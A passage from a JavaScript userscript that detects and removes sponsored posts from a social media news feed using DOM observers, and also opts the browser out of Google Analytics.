                removeSponsor(sponsorLabel);
                findSponsor(wrapper);
            }
    
            detectSponsor(wrapper);
        };
    
        function sponsCheck(mutation) {
            return mutation.type === 'attributes' &&
                mutation.attributeName === 'id' &&
                isSponsorLabel(mutation.target.textContent.trim())
        };
    
        /**
         * @param {Element} labelHidden
         */
        function watchLabel(labelHidden) {
            if (observerLabel)
                return;
    
            (observerLabel = new MutationObserver(function(mutationsList) {
                for (let mutation of mutationsList) {
                    if (sponsCheck(mutation)) {
                        labelStore.push(mutation.target.id);
                        findSponsor();
                    };
                };
            })).observe(labelHidden, {
                attributes: true
                , attributeFilter: ['id']
                , subtree: true
            });
        };
    
        // Find while scrolling
        observerScroll = new IntersectionObserver(function(entries) {
            entries.forEach(function(entry) {
                if (!entry.intersectionRatio)
                    return;
                detectSponsor(entry.target);
            });
        });
    
        throttleDebounce.debounce(300, function() {
            const newsFeed = document.querySelector(feedSelector());
            if (newsFeed === null)
                return;
    
            newsFeed.querySelectorAll(articleSelector())
                .forEach(function(article) {
                    observerScroll.observe(article);
                });
    
            // Find on DOM change
            if (observerStory)
                observerStory.disconnect();
            observerStory = new MutationObserver((mutationsList) => {
                for (let mutation of mutationsList) {
                    findSponsor(mutation.target);
                    mutation.target.querySelectorAll(articleSelector())
                        .forEach((article) => {
                            observerScroll.observe(article);
                        });
                }
            });
            observerStory.observe(newsFeed, {
                attributes: false
                , childList: true
                , subtree: true
            });
            findSponsor();
    
            // Find on label list change
            if (labelHidden === null) {
                labelHidden = document.querySelector('[hidden="true"]');
                if (labelHidden === null) {
                    labelStore = null;
                    if (observerLabel) {
                        observerLabel.disconnect();
                        observerLabel = null;
                    }
                } else {
                    labelStore = [];
                    labelHidden.querySelectorAll('span')
                        .forEach((target) => {
                            if (isSponsorLabel(target.textContent.trim())) {
                                labelStore.push(target.id);
                                findSponsor();
                            }
                        });
                    watchLabel(labelHidden);
                }
            }
        })();
    
        observerHead && observerHead.disconnect();
    
        (observerHead = new MutationObserver(init)).observe(document.head, {
            attributes: true
            , childList: true
            , subtree: true
        });
    
        (function (old) {
            window.history.pushState = function () {
                old.apply(window.history, arguments);
                init();
            };
        })(window.history.pushState);
    });
};

unsafeWindow._gaUserPrefs = {
    ioo() {
        return true;
    }
}; //disable GA for every site